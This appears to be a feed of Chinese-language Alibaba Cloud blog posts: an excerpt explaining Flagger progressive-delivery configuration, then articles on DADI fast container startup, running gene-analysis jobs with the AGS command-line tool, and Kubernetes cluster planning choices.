                type: rollout
                url: http://flagger-loadtester.test/
                metadata:
                  cmd: "hey -z 1m -q 10 -c 2 http://podinfo.test:9898/"
            # alerting (optional)
            alerts:
              - name: "dev team Slack"
                severity: error
                providerRef:
                  name: dev-slack
                  namespace: flagger
              - name: "qa team Discord"
                severity: warn
                providerRef:
                  name: qa-discord
              - name: "on-call MS Teams"
                severity: info
                providerRef:
                  name: on-call-msteams

        简单介绍以上配置含义, 下方会单独详细介绍:
        • targetRef: 当前部署的新版本服务(可以是Deployment, 也可以是DaemonSet).
        • progressDeadlineSeconds: canary, primary部署超时时间.如果超过这个时间还没有部署好,则不会进行流量调整了。
        • autoscalerRef: K8s原生的HPA(自动伸缩).
        • service: 可以理解为k8s service概念。当provider是Istio时, 和VirtualSercice(具有调整流量比例,路由策略等能力)相对应
        • skipAnalysis:是否跳过metrcis分析. 如果为true, 相当于一次性将primary替换成canary service.
        • analysis:
        • 包含一些调整primary, canary流量策略配置
        • metrics: 指标来源. 例如: avg RT, 成功率, 自定义metrics(可以直接配置prometheus PQL)等
        • webhook:可以用来人工审核接入, 压力测试等.
        • alerts: 进度详情, 告警通知等

        整体流程

        flow
        说明:
        • 上图Start到End的整个流程是在一个定时器中执行
        • 上图中cancary和Canary不是同一个含义. Canary一般指Canary(Kind)对象或者指Canary 部署策略, canary指的是targetRef的对象(deployment, service)。
        VirtualSerivice(privider是Istio): 是A/B testing, Blue/Green, Canry Release实现的关键. 具体可以参考Istio关于VirtualService相关介绍
        • 关于A/B testing, Blue/Green, Canary下文会详细介绍

        部署策略

        A/B testing

        analysis:
            # schedule interval (default 60s)
            interval: 1m
            # total number of iterations
            iterations: 10
            # max number of failed iterations before rollback
            threshold: 2
            # canary match condition
            match:
              - headers:
                  x-canary:
                    regex: ".*insider.*"
              - headers:
                  cookie:
                    regex: "^(.*?;)?(canary=always)(;.*)?$"

        以上面代码示例为例:
        • 会在创建VirtualService过(istio)程中, 设置多个HTTPRoute.
        • 默认流量, 访问primary service
        • 通过http header或者cookie 正则匹配方式, 将流量路由到canary service.
        • 整个流程会执行10次,每次间隔1分钟, 最多允许2次metrics验证失败. 如果超过2次, 则进行回滚.
        • 正常结束后, 会执行"confirm-promotion" webhook, 确认是否将primary替换成cannay

        • 如果是, 会将primary替换成cananry的spec(deployemnt spec, configmap)相关信息
        • 如果否, 继续等待
        

        Blue/Green

         analysis:
            # schedule interval (default 60s)
            interval: 1m
            # total number of iterations
            iterations: 10
            # max number of failed iterations before rollback
            threshold: 2
            webhooks:
             - name: "load test"
               type: rollout
               url: http://flagger-loadtester.test/
               metadata:
                 cmd: "hey -z 1m -q 10 -c 2 http://podinfo.test:9898/"

        以上面代码示例为例:
        • 整个流程会执行10次,每次间隔1分钟, 最多允许2次metrics验证失败.如果超过2次, 则进行回滚.
        • 在这段时间会对canary service进行压力测试
        • 正常结束后, 会执行"confirm-promotion" webhook, 确认是否将primary替换成cannay

        • 如果是, 会将primary替换成cananry的spec(deployemnt spec, configmap)相关信息
        • 如果否, 继续等待

        如果配置了mirror=true(只有provider=istio时才支持该特性), 则会使用istio的mirror特性, 将流量分别copy 到primary和canary, 使用primary的reponse作为返回值. 这个时候要特别注意业务是否幂等.

        Canary

        analysis:
            # schedule interval (default 60s)
            interval: 1m
            # max number of failed metric checks before rollback
            threshold: 2
            # max traffic percentage routed to canary
            # percentage (0-100)
            maxWeight: 50
            # canary increment step
            # percentage (0-100)
            stepWeight: 2
          # deploy straight to production without
          # the metrics and webhook checks
          skipAnalysis: false

        以上面代码示例为例:
        • 整个流程会执行25(maxWeight/maxWeight)次,每次间隔1分钟, 最多允许2次metrics验证失败.如果超过2次, 则进行回滚.
        • 每次primary减少stepWeight%流量, canary增加stepWeight%流量, 直到canary到达maxWeight
        • 执行"confirm-promotion" webhook, 确认是否将primary替换成cannay

        • 如果是, 会将primary替换成cananry的spec(deployemnt spec, configmap)相关信息
        • 如果否, 继续等待
        

        其它

        Webhooks

        webhooks: 在整个发布过程中, 定义了相应的扩展点:
        • confirm-rollout: 在canary接收流量之前执行. 可以用于人工审核发布, 自动化测试通过等场景.
        如果该webhook没有返回成功(例如:请求返回状态码200), 则发布一直等待.
        • pre-rollout: 在第一次切流到canary前执行的webhook. 如果执行失败次数超过阀值, 则进行回滚
        • rollout: 在发布的每个周期(例如每个stepWeight)中的metrics分析之前执行.如果执行失败次数超过阀值, 则进行回滚
        • confirm-promotion: 在primary变更到canary配置相关信息之前执行.
        如果不成功, 会一直等待.在等待的过程中, Flagger会继续执行metrics验证直到最终回滚.
        • post-rollout: 在rollback或者finish后执行. 如果执行失败只会记录Event日志。
        • rollback: 当Canary处于Progressing或者Waiting状态时. 提供人工执行回滚的能力.
        • event: 在每个生命周期,都会产生一些相关k8s event. 如果配置event webhook, 则在产生k8s event的同时,发送相关event事件信息.

        Metrics

        Metrics: 用于决策(A/B, Blue/Green, Canary)流量是否验证失败, 超过制定阀值(threshold)就会回滚发布
        • 缺省自带的metrics

        analysis:
            metrics:
            - name: request-success-rate
              interval: 1m
              # minimum req success rate (non 5xx responses)
              # percentage (0-100)
              thresholdRange:
                min: 99
            - name: request-duration
              interval: 1m
              # maximum req duration P99
              # milliseconds
              thresholdRange:
                max: 500
        • request-success-rate(请求成功率). 上例说明成功率不能低于99%
        • request-duration(avg RT): RT均值不能超过500ms
          request-success-rate和request-duration是Flagger缺省自带的metrics.

        不同的provider有不通实现. 例如:应用可以提供prometheus metrics

        • 自定义metrics

        1. 创建MetricTemplate. 比如业务自定义的业务metrics, 如订单支付失败率
        apiVersion: flagger.app/v1beta1
        kind: MetricTemplate
        metadata:
          name: not-found-percentage
          namespace: istio-system
        spec:
          provider:
            type: prometheus
            address: http://promethues.istio-system:9090
          query: |
            100 - sum(
                rate(
                    istio_requests_total{
                      reporter="destination",
                      destination_workload_namespace="{{ namespace }}",
                      destination_workload="{{ target }}",
                      response_code!="404"
                    }[{{ interval }}]
                )
            )
            /
            sum(
                rate(
                    istio_requests_total{
                      reporter="destination",
                      destination_workload_namespace="{{ namespace }}",
                      destination_workload="{{ target }}"
                    }[{{ interval }}]
                )
            ) * 100
        1. 引用MetricTemplate

          analysis:
             metrics:
          - name: "404s percentage"
           templateRef:
             name: not-found-percentage
             namespace: istio-system
           thresholdRange:
             max: 5
           interval: 1m

          上例表示canary的关于404错误/s的metrics不能超过5%

        Alter

        Alter: 用于发布过程中信息通知.
        1.定义AlterProvider(可以是slack, 也可以是dingding)

        apiVersion: flagger.app/v1beta1
        kind: AlertProvider
        metadata:
          name: on-call
          namespace: flagger
        spec:
          type: slack
          channel: on-call-alerts
          username: flagger
          # webhook address (ignored if secretRef is specified)
          address: https://hooks.slack.com/services/YOUR/SLACK/WEBHOOK
          # secret containing the webhook address (optional)
          secretRef:
            name: on-call-url
        ---
        apiVersion: v1
        kind: Secret
        metadata:
          name: on-call-url
          namespace: flagger
        data:
          address: <encoded-url>

        2.使用Alter

        analysis:
            alerts:
              - name: "on-call Slack"
                severity: error
                providerRef:
                  name: on-call
                  namespace: flagger

        • serverity: 通知信息的等级, 类似日志级别. 包含info, warn, error
        在整个部署过程中,不同阶段都会使用alter来发送通知信息, 例如发布成功, webhook执行失败等场景。

        总结

        • Flagger对应用自动化发布流程进行了很好的抽象, 提供了丰富的扩展机制(webhook, alter, metrics等).
        这些特性比较吸引人,那是否能能直接就能在集团内使用呢?
        答案是不行。Flagger要求应用构建在k8s基础上, 例如服务发现机制, 另外要求部署Ingress/service mesh(这两者都具备调整流量策略的能力). 以HSF为例,它的服务发现机制是根据configserver, 服务是面向接口, 而不是应用。
        如果不经过一定改造,估计还是无法使用.

        • 另外Flagger也有一些改进的地方(我个人人为):
        canary实例在切流过程中的扩缩容是根据HPA(如果配置了)来进行的, HPA扩缩容不及时就会对业务有影响.
        改进方案: 可以根据stepWeight的变化动态调整canary的实例数, 这个只针对Canary release.
        对于Blue/Green, A/B tesing可以通过webhook提前准备容量.

        • Flagger正在规划primary和canary流量比较特性,这个似乎和集团Doom干的是同一件事情。未来可以期待一下.

        ]]>
        秒级启动万个容器,探秘阿里云容器镜像加速黑科技 Fri, 02 May 2025 09:39:04 +0800 阿里云容器与存储团队展开合作,利用DADI加速器支持镜像按需读取和P2P分发,实现3.01秒启动10000个容器,完美杜绝容器冷启动的数分钟漫长等待,以及镜像仓库大规模并行分发场景下的网络拥堵。

        年关将至,各种年货节、秒杀商品、倒计时直播即将纷至沓来。这些业务的共同点都是流量瞬间暴增,必须在立刻筹备大量的服务器,并在极短时间内扩容容器承接线上流量,避免系统崩溃。除了需要集群节点的快速扩容,也对应用部署速度提出更高要求。

        部署启动快常被认为是容器的核心优势之一:本地镜像实例化成容器的时间很短,即“热启动”;而在本地无镜像情况下的“冷启动”,需要先从镜像仓库下载镜像并解压缩后才能拉起容器,受网络和磁盘性能影响较大,耗时数分钟;大规模批量冷启动甚至可能导致Registry因网络拥堵而无法响应。

        针对冷启动的痛点,阿里云推出一个全新存储引擎DADI加速器,将容器冷启动耗时缩短至数秒。方案沉淀自阿里集团内部大规模应用的数据访问加速经验,曾在双十一大促中为大规模容器集群扩容提供了秒级拉起能力。

        本次测试场景是在 1000 台4核8G的节点组成的Kubernetes集群中进行,阿里云容器服务Kubernetes (ACK) 能在极短时间内扩容出 1000 台节点worker并加入到Kubernetes 集群中。ACK 的此能力在应对大促,秒杀,短时流量洪峰时具有亮眼的表现。

        同时针对本次测试场景,利用Kubernetes 强大的扩展性和自定义控制器,加快在大规模集群中创建应用和删除应用的速度,保障了测试在极短时间内方便快捷的进行。

        阿里云容器团队联合存储团队研发的DADI加速器在本次测试中启动10000个容器仅需3.01秒,10秒内启动了近60000个容器。

        image.png
        Figure 1 - 1万个容器的启动耗时为3.01秒,其中p999分位耗时2.97秒。

        同时针对1万个容器的冷热启动进行对比,即在本地有无镜像缓存对启动时间的影响,热启动耗时2.91秒,其中p999耗时2.56秒

        image.png

        Figure 2 - 1万个容器的冷热启动耗时对比

        DADI冷启动由于数据按需从P2P网络中获取,减轻了磁盘压力避免发生IO拥堵,因此长尾容器较少。

        此外,还进行了限时摸高测试。在10秒的限制时间内利用1000台宿主机启动了59997个容器,在10.06秒时第6万容器启动完毕:

        image.png

        Figure 3 - 限时 10 秒摸高测试

        注:上述图示数据,均在阿里云容器团队的容器服务ACK中进行。为方便获得每个容器的启动时间,采用C/S模式:worker中每个容器拉起后向测试的httpServer上报自己状态,以httpServer记录的请求时间作为容器启动耗时。

        冷启动的关键优化,DADI大地加速器

        一般而言,完整的容器应用镜像往往有数百M甚至上G的大小。在社区的容器Registry的实现中,镜像会以分层方式存储,每一层都是一个tgz包。当容器启动时, 容器引擎会从容器Registry拉取所有的层,在本地实现解压后,通过层次化文件系统构建完整的容器rootfs。而容器启动过程中所需要的数据可能只占镜像文件中极小一部分比例。本次测试所用镜像完整大小为894M,容器启动所需数据仅15M,占比约1.6%。如何能避免下载完整镜像到本地而直接获取到这1.6%启动数据是加速容器启动的关键。

        为何DADI加速器能为大规模容器集群扩容提供秒级拉起的能力?其核心在于“按需读取”容器运行时所需数据,避免传统容器 “下载镜像 -> 解压镜像 -> 启动容器”的启动步骤,容器启动耗时从分钟缩短至数秒。这其中包括以下三点优化工作:

        • 镜像格式优化: 为了避免下载+解压造成的高时延,DADI团队设计了一种新的镜像格式,内含索引,无需下载和解压完整镜像即可直接访问;
        • 按需P2P数据读取: 为减轻批量扩容时对单点Registry带来的总体负载,DADI利用树形P2P网络对进行数据分发。即少数P2P根节点从Registry获取,其他节点(宿主机)之间可相互传输数据,批量扩容时可快速分发数据到所有节点;
        • 高效的解压缩算法: DADI提供了一种新型的压缩文件格式,可按需单独解压用户访实际问的数据,且解压时间开销可忽略不计。

        image.png

        Figure 5 - 容器启动流程对比

        利用DADI方案启动容器时,仅从镜像Registry下载几KB的镜像元数据,并创建虚拟设备Overlay Block Device挂载到容器工作目录上, Docker引擎会认为镜像已经加载完毕。在容器启动时所需的镜像数据则从本地缓存或者P2P 网络的上游节点按需下载。P2P网络可以充分缓解对Registry的访问压力。

        image.png
        Figure 6 – DADI P2P数据分发

        随着Kubernetes 被越来越广泛地接受,阿里云ACK支撑了各行各业的企业级客户。此次ACK和DADI的深度整合,实现秒级启动万个容器,从容应对大规模应用扩容和发布,相关技术在未来也将成为Serverless容器的启动加速利器。

        ]]>
        阿里云基因计算服务使用最佳实践 - 通过Remote API实现基因数据处理 Fri, 02 May 2025 09:39:04 +0800 AGS Remote API介绍:

        阿里云基因计算服务(AGS)是一个依托于云计算平台,使用容器、工作流等云原生技术,针对生信行业基因数据处理的整体解决方案。您可以不用关心基因数据处理过程中的计算资源、处理逻辑、数据缓存等细节,只需要将您的源数据(Fastq文件)地址提供给ags,ags既可高效、快速完成整个数据分析流程,并将结果数据上传到您期望的存储空间。

        AGS目前支持通用的生信流程包括:

        wgs流程:支持GATK标准流程进行全基因组测序,支持GPU加速;
        Mapping:支持输出包含MarkUp和不包含MarkUp的Bam数据;

        AGS提供用户命令行工具,通过命令行可以实现远程提交任务。根据您的数据处理需求,通过定义具体参数指定Fastq数据源,和处理逻辑。AGS Remote API目前主要基于阿里云公共云服务,推荐的数据提供方式为将源数据放在阿里云OSS存储空间,ags获取数据后进程处理,并将处理结果上传到OSS存储。

        用户如果使用阿里云AGS服务,您的资产包括:本地IDC机房(生成数据)、阿里云OSS存储服务(保存数据);阿里云AGS服务为您的数据进行计算、分析,并回传结果数据;
        image.png
        AGS处理流程:

        1. 用户IDC环境内,基因数据下线暂存;
        2. 用户通过数据传输工具(Ossutil)将待处理的fastq数据上传到阿里云OSS存储服务(用户账号下的OSS);
        3. 用户通过AGS命令行工具,向AGS服务提交测序任务,需在参数中定义作业的详细信息;
        4. AGS拉取Fastq数据;
        5. AGS处理数据;
        6. AGS上传结果数据(vcf/bam);

        下面为您提供一个使用AGS Remote API实现基因数据处理的示例,您可以参考其中的操作步骤执行数据处理任务。

        前置准备:

        1. 安装ossutil:

        数据上传您可以通过阿里云提供的Ossutil工具,具体安装过程可参考:ossutil安装

        2. 数据上传

        阿里云AGS服务目前只开通了深圳、北京2个Region,所以您的OSS Bucket需要选择这两个Region之一。

        假设您的数据规划如下:

        在深圳申请Bucekt名为:my-gene-shenzhen
        fastq的保存目录为:fastq/task*/
        vcf的保存目录为:vcf/task*/
        bam的保存目录为:bam/task*/

        上传fastq数据上传命令为:

        ossutil cp {fastq}_1.fastq.gz oss://my-gene-shenzhen/fastq/task1/{fastq}_1.fastq.gz
        ossutil cp {fastq}_2.fastq.gz oss://my-gene-shenzhen/fastq/task1/{fastq}_2.fastq.gz

        3. AGS命令行工具下载:

        可以通过下面地址下载AGS命令行工具:

        Mac:http://ags-hub.oss-cn-hangzhou.aliyuncs.com/ags-mac
        Linux: http://ags-hub.oss-cn-hangzhou.aliyuncs.com/ags-linux

        下载后修改为可执行权限,并放到节点可执行目录($PATH目录下);

        $ chmod 755 ags-linux && mv ags-linux /usr/local/bin/ags

        4. 命令行配置,OSS授权:

        通过ags命令行工具进行任务提交,您需要配置ags的ak权限:

        ags config init

        注意:配置的AK需要对您的oss bucket具有读写权限;

        您还需要对OSS Bucket进行授权,以授权AGS服务账号具备文件的读写、GetBucketInfo权限:

        ags config oss <your bucket name>

        上述具体配置,可参考使用文档:https://help.aliyun.com/document_detail/148762.html

        AGS目前支持两种数据类型,具体由Fastq数据目录结构决定:

        一种是:一个样本由两个fastq文件组成,提交任务时,分别指定两个文件的名字;
        另一种:一个样本由一个目录下面的多个fastq文件组成,提交任务时,指定目录名字;

        任务示例-数据类型1:

        一个样本由两个fastq文件组成,分别指定两个文件的名字;

        1. Fastq数据源:

        对如下bucket下面的fastq数据进行WGS流程分析:

        image.png

        2. 提交任务:

        任务提交命令分析:

        ags remote run wgs    # 指定为wgs流程;
        --region cn-shenzhen   # 指定为深圳区域;
        --fastq1 fastq/NA12878/NA12878_1.fastq.gz    # 指定fastq1文件地址;
        --fastq2 fastq/NA12878/NA12878_2.fastq.gz    # 指定fastq2文件地址;
        --bucket gene-shenzhen   # 指定bucket名字;
        --output-vcf output/wgs/NA12878.vcf   # 指定vcf文件输出地址(在gene-shenzhen bucket下面);
        --output-bam output/wgs/NA12878.bam   # 指定bam文件输出地址(在gene-shenzhen bucket下面);
        --service "g"     # 指定service类型,支持s/g/p等服务类型;
        --reference hs37d5 # 指定reference类型,支持hs37d5和hg19两个可选类型;

        任务提交:

        # ags remote run wgs --region cn-shenzhen --fastq1 fastq/NA12878/NA12878_1.fastq.gz --fastq2 fastq/NA12878/NA12878_2.fastq.gz --bucket gene-shenzhen --output-vcf output/wgs/NA12878.vcf --output-bam output/wgs/NA12878.bam --service "g" --reference hs37d5
        INFO[0001] {"JobName":"wgs-gpu-vfbqw"}
        INFO[0001] Job submit succeed

        3. 查看任务信息:

        查看当前任务信息:

        # ags remote get wgs-gpu-vfbqw
        +---------------+------------------+---------+-------------------------------+-----------------+-------------+-------------+
        |   JOB NAME    |  JOB NAMESPACE   | STATUS  |          CREATE TIME          |    DURATION     | TOTAL READS | TOTAL BASES |
        +---------------+------------------+---------+-------------------------------+-----------------+-------------+-------------+
        | wgs-gpu-vfbqw | **************** | Running | 2020-01-19 11:19:00 +0800 CST | 8m31.309941114s |           0 |           0 |
        +---------------+------------------+---------+-------------------------------+-----------------+-------------+-------------+

        Job Name: 这次任务的名字(唯一代号);
        JOB NAMESPACE:任务的名词空间(您的UID);
        STATUS:任务的状态;
        CREATE TIME:任务创建时间;
        DURATION:任务的持续时间;
        TOTAL READS:这次提交一共成功处理了多少 Reads;
        TOTAL BASES:这次提交一共成功处理了多少Bases;

        4. 查看输出结果:

        命令行查看任务最终状态:

        # ags remote get wgs-gpu-vfbqw
        +---------------+------------------+-----------+-------------------------------+----------+-------------------------------+-------------+--------------+
        |   JOB NAME    |  JOB NAMESPACE   |  STATUS   |          CREATE TIME          | DURATION |          FINISH TIME          | TOTAL READS | TOTAL BASES  |
        +---------------+------------------+-----------+-------------------------------+----------+-------------------------------+-------------+--------------+
        | wgs-gpu-vfbqw | **************** | Succeeded | 2020-01-19 11:19:00 +0800 CST | 34m16s   | 2020-01-19 11:53:16 +0800 CST |  1574530218 | 159027552018 |
        +---------------+------------------+-----------+-------------------------------+----------+-------------------------------+-------------+--------------+

        控制台查看结果文件(bam/vcf):
        image.png

        任务示例-数据类型2:

        1. Fastq数据源:

        一个样本包含在同一个目录(fastq/MultiFiles/2020011901)下面;
        目录下面包含多个子目录:2020011901-73、2020011901-74;
        每个子目录下面包含一对Fastq文件:文件以1/2.fq.gz结尾;

        image.png
        image.png
        image.png

        2. 提交任务:

        任务解析:

        ags remote run mapping   # 指定为mapping流程;
        --region cn-shenzhen   # 指定Region为深圳;
        --fastq1 fastq/MultiFiles/2020011901    # 指定fastq目录;
        --fastq2 fastq/MultiFiles/2020011901    # 指定fastq目录,和fastq1一样;
        --bucket gene-shenzhen         # 指定bucket名字;
        --output-bam output/mapping/2020011901.bam    # 指定bam输出目录;
        --service "g"   # 指定服务等级;
        --markdup "true"   # 指定是否进行mark duplicate处理;
        --reference hg19  # 指定reference类型;

        提交任务:

        # ags remote run mapping --region cn-shenzhen --fastq1 fastq/MultiFiles/2020011901 --fastq2 fastq/MultiFiles/2020011901 --bucket gene-shenzhen --output-bam output/mapping/2020011901.bam --service "g" --markdup "true" --reference hg19
        INFO[0002] {"JobName":"mapping-gpu-bv8br"}
        INFO[0002] Job submit succeed

        3. 查看任务信息:

        查看任务状态命令:ags remote get *

        # ags remote get mapping-gpu-bv8br
        +-------------------+------------------+---------+-------------------------------+------------------+-------------+-------------+
        |     JOB NAME      |  JOB NAMESPACE   | STATUS  |          CREATE TIME          |     DURATION     | TOTAL READS | TOTAL BASES |
        +-------------------+------------------+---------+-------------------------------+------------------+-------------+-------------+
        | mapping-gpu-bv8br | **************** | Running | 2020-01-19 11:43:51 +0800 CST | 11m19.728373147s |   261733836 | 26173383600 |
        +-------------------+------------------+---------+-------------------------------+------------------+-------------+-------------+

        4. 查看输出结果:

        命令行查看任务最终状态:

        ~# ags remote get mapping-gpu-bv8br
        +-------------------+------------------+-----------+-------------------------------+----------+-------------------------------+-------------+-------------+
        |     JOB NAME      |  JOB NAMESPACE   |  STATUS   |          CREATE TIME          | DURATION |          FINISH TIME          | TOTAL READS | TOTAL BASES |
        +-------------------+------------------+-----------+-------------------------------+----------+-------------------------------+-------------+-------------+
        | mapping-gpu-bv8br | **************** | Succeeded | 2020-01-19 11:43:51 +0800 CST | 11m45s   | 2020-01-19 11:55:36 +0800 CST |   261733836 | 26173383600 |
        +-------------------+------------------+-----------+-------------------------------+----------+-------------------------------+-------------+-------------+

        到控制台查看任务输出文件(bam):
        image.png

        结果验证:

        任务执行完成,您可以到oss控制台查看任务输出目录,是否获取到期望的结果文件。
        如果没有获取结果文件,请及时与我们联系。

        ]]>
        关于Kubernetes规划的灵魂n问 Fri, 02 May 2025 09:39:04 +0800 image.png

        Kubernetes已经成为企业新一代云IT架构的重要基础设施,但是在企业部署和运维Kubernetes集群的过程中,依然充满了复杂性和困扰。阿里云容器服务自从2015年上线后,一路伴随客户和社区的成长,目前托管着上万的K8s集群来支撑全球各地的客户。我们对客户在规划集群过程中经常会遇见的问题,进行一些分析解答。试图缓解大家的“选择恐惧症”。

        image.png

        如何选择Worker节点实例规格?

        裸金属还是虚拟机?

        Dimanti 2019年的容器调查报告中,对专有云用户选择裸金属服务器来运行容器的主要原因进行了分析。

        image.png

        1. 选择裸金属服务器的最主要原因(超过55%)是:传统虚拟化技术I/O损耗较大;对于I/O密集型应用,裸金属相比传统虚拟机有更好的性能表现
        2. 此外近36%的客户认为:裸金属服务器可以降低成本。大多数企业在初始阶段采用将容器运行在虚拟机的方案,但是当大规模生产部署的时候,客户希望直接运行在裸金属服务器上来减少虚拟化技术的license成本(这也常被戏称为“VMWare税”)。
        3. 还有近30%的客户因为在物理机上部署有更少的额外资源开销(如虚拟化管理、虚拟机操作系统等);还有近24%的客户选择的原因是:可以有更高的部署密度,从而降低基础设施成本。
        4. 超过28%的客户认为,在物理机上可以更加灵活地选择网络、存储等设备和软件应用生态。

        在公共云上,我们应该如何选择呢?

        2017年10月,阿里云“神龙架构”横空出世。弹性裸金属服务器(ECS Bare Metal Instance)是一款同时兼具虚拟机弹性和物理机性能及特性的新型计算类产品,实现超强超稳的计算能力,无任何虚拟化开销。阿里云2019年8月重磅发布了弹性计算第六代企业级实例,基于神龙架构对虚拟化能力进行了全面升级

        • 基于阿里自研神龙芯片和全新的轻量化Hypervisor - 极大减少虚拟化性能开销

          • 基于阿里云智能神龙芯片和全新的轻量化VMM,将大量传统虚拟化功能卸载到专用硬件上,大大降低了虚拟化的性能开销,同时用户几乎可以获得所有的宿主机CPU和内存资源,提高整机和大规格实例的各项能力,尤其是I/O性能有了大幅度提升。
        • 使用最新第二代英特尔至强可扩展处理器 - E2E性能提升

          • 使用最新一代Intel Cascade Lake CPU, 突发主频提升至3.2GHz, 各场景E2E性能大幅提升,并在深度学习的多种场景有数倍的提升。
        • 给企业级场景带来稳定和可预期的表现 - 全球最高水准SLA

          • 针对软硬件优化以及更加实施更细致的QoS手段,给企业级客户的负载提供更稳定可预期的性能。

        image.png

        ECS实例类型 六代裸金属实例 六代虚拟机实例
        CPU 目前包含80/104两种规格 2~104
        CPU与内存配比 1:1.8 ~ 1:7.4 1:2 ~ 1:8
        虚拟化资源开销 没有 极小
        GPU支持 是 (部分型号) 是 (部分型号)
        支持Intel SGX 是 (部分型号)
        支持安全沙箱容器(如KataContainer, 阿里云安全沙箱容器等)
        支持License绑定硬件 是 (DDH支持)
        支持热迁移 否 (支持宕机迁移)

        一般而言建议:

        • 对性能极其敏感的应用,如高性能计算,裸金属实例是较好的选择。
        • 如果需要Intel SGX,或者安全沙箱等技术,裸金属实例是不二选择。
        • 六代虚拟机实例基于神龙架构,I/O性能有了显著提升,同时有更加丰富的规格配置,可以针对自身应用需求灵活选择,降低资源成本。
        • 虚拟机实例支持热迁移,可以有效降低运维成本。

        阿里云ACK K8s集群支持多个节点伸缩组(AutoScalingGroup),不同弹性伸缩组支持不同的实例规格。在工作实践,我们会为K8s集群划分静态资源池和弹性资源池。通常而言,固定资源池可以根据需要选择裸金属或者虚拟机实例。弹性资源池建议根据应用负载使用合适规格的虚拟机实例来优化成本、避免浪费,提升弹性供给保障。

        此外由于裸金属实例一般CPU核数非常多,大规格实例在使用中的挑战请参见下文。

        较少的大规格实例还是较多的小规格实例?

        一个引申的问题是,如何选择实例规格?我们列表对比一下

        较少的大规格实例 较多的小规格实例 备注
        节点管理开销 较低 较高
        操作系统额外开销 较低 较高
        节点部署密度 较高 较低
        节点调度复杂性(如NUMA) 较高 较低 部署密度增加之后,需要更加合理的资源调度来保障应用SLA
        节点稳定性 较低 较高 随着部署密度增加,节点自身的稳定性也会随之下降
        节点失效爆炸半径 较大 较小 一个大规格实例失效,会影响更多的应用容器。也需要预留更多的资源进行宕机迁移。
        Master组件压力 较小 较大 Worker节点数量是影响Master节点容量规划和稳定性的因素之一。K8s 1.13版本引入的NodeLease功能让节点数量对master组件的压力降低很多。

        默认情况下,kubelet 使用 CFS 配额 来执行 pod 的 CPU 约束。当节点上运行了很多 CPU 密集的应用时,工作负载可能会迁移到不同的 CPU 核,工作负载的会受到 CPU 缓存亲和性以及调度延迟的影响。当使用大规格实例类型时,节点的CPU数量较多,现有的Java,Golang等应用在多CPU共享的场景,性能会出现明显下降。所有对于大规格实例,需要对CPU管理策略进行配置,利用CPU set进行资源分配。

        此外一个重要的考虑因素就是NUMA支持。在NUMA开启的裸金属实例或者大规格实例上,如果处理不当,内存访问吞吐可能会比优化方式降低了30%。Topology管理器可以开启NUMA感知 https://kubernetes.io/docs/tasks/administer-cluster/topology-manager/ 。但是目前K8s对NUMA的支持比较简单,还无法充分发挥NUMA的性能。

        阿里云容器服务提供了 CGroup Controller 可以更加灵活地对NUMA架构进行调度和重调度。

        如何容器运行时?

        Docker容器还是安全沙箱?

        Sysdig 发布的 2019 容器使用报告中,我们可以看到Docker容器占据市场规模最大的容器运行时 (79%),containerd 是 Docker贡献给CNCF社区的开源容器运行时,现在也占据了一席之地,并且得到了厂商的广泛支持;cri-o 是红帽公司推出的支持OCI规范的面向K8s的轻量容器运行时,目前还处在初级阶段。

        image.png

        很多同学都关心containerd与Docker的关系,以及是否containerd可以取代Docker?Docker Engine底层的容器生命周期管理也是基于containerd实现。但是Docker Engine包含了更多的开发者工具链,比如镜像构建。也包含了Docker自己的日志、存储、网络、Swarm编排等能力。此外,绝大多数容器生态厂商,如安全、监控、日志、开发等对Docker Engine的支持比较完善,对containerd的支持也在逐渐补齐。所以在Kubernetes运行时环境,对安全和效率和定制化更加关注的用户可以选择containerd作为容器运行时环境。对于大多数开发者,继续使用Docker Engine作为容器运行时也是一个不错的选择。

        image.png

        此外,传统的Docker RunC容器与宿主机Linux共享内核,通过CGroup和namespace实现资源隔离。但是由于操作系统内核的攻击面比较大,一旦恶意容器利用内核漏洞,可以影响整个宿主机上所有的容器。

        越来越多企业客户关注容器的安全性,为了提升安全隔离,阿里云和蚂蚁金服团队合作,引入安全沙箱容器技术。19年9月份我们发布了基于轻量虚拟化技术的RunV安全沙箱。相比于RunC容器,每个RunV容器具有独立内核,即使容器所属内核被攻破,也不会影响其他容器,非常适合运行来自第三方不可信应用或者在多租户场景下进行更好的安全隔离。

        阿里云安全沙箱容器有大量性能优化,可以达到90%的原生RunC性能

        • 利用Terway CNI网络插件,网络性能无损。
        • 利用DeviceMapper构建了⾼速、稳定的容器 Graph Driver
        • 优化 FlexVolume 和 CSI Plugin,把 mount bind 的动作下沉到沙箱容器内,从而避开了 9pfs 带来的性能损耗。

        而且,ACK为安全沙箱容器和和RunC容器提供了完全一致的用户体验,包括日志、监控、弹性等。同时,ACK可以在一台神龙裸金属实例上同时混布RunC和RunV容器,用户可以根据自己的业务特性自主选择。

        image.png

        同时,我们也要看到安全沙箱容器还有一些局限性,现有很多日志、监控、安全等工具对独立内核的安全沙箱支持不好,需要作为sidecar部署在安全沙箱内部。

        对于用户而言,如果需要多租户隔离的场景,可以采用安全沙箱配合network policy来完成,当然也可以让不同租户的应用运行在不同的虚拟机或者弹性容器实例上,利用虚拟化技术来进行隔离。

        注意:安全沙箱目前只能运行在裸金属实例上,当容器应用需要资源较少时成本比较高。可以参考下文的Serverless K8s有关内容。

        如何规划容器集群?

        一个大集群还是一组小集群?

        在生产实践中,大家经常问到的一个问题是我们公司应该选择一个还是多个Kubernetes集群。

        Rob Hirschfeld在Twitter上做了一个调查,

        • 一个大一统的的平台,支持多种应用负载、环境和多租户隔离
        • 或者,一组以应用为中心的小集群,支持不同应用和环境的生命周期管理。

        https://thenewstack.io/the-optimal-kubernetes-cluster-size-lets-look-at-the-data/

        image.png

        大多数的用户选择是后者,典型的场景是

        • 开发、测试环境使用不同的集群
        • 不同的部门使用不同的集群进行隔离
        • 不同的应用使用不同的集群
        • 不同版本的K8s集群

        在用户反馈中,采用以多个小集群的主要原因在于爆炸半径比较小,可以有效提升系统的可用性。同时通过集群也可以比较好地进行资源隔离。管理、运维复杂性的增加是采用多个小集群的一个不足之处,但是在公共云上利用托管的K8s服务(比如阿里云的ACK)创建和管理K8s集群生命周期非常简单,可以有效解决这个问题。

        我们可以比较一下这两种选择

        单一大集群 多个应用为中心集群
        爆炸半径
        硬多租(安全、资源强隔离) 复杂 简单
        混合调度多种类型资源 (GPU等 ) 复杂 简单
        集群管理复杂性 较低 较高(自建)/较低(采用托管K8s服务)
        集群生命周期的灵活性 困难 简单(不同集群可以有不同的版本和伸缩策略)
        规模化引入的复杂性 复杂 简单

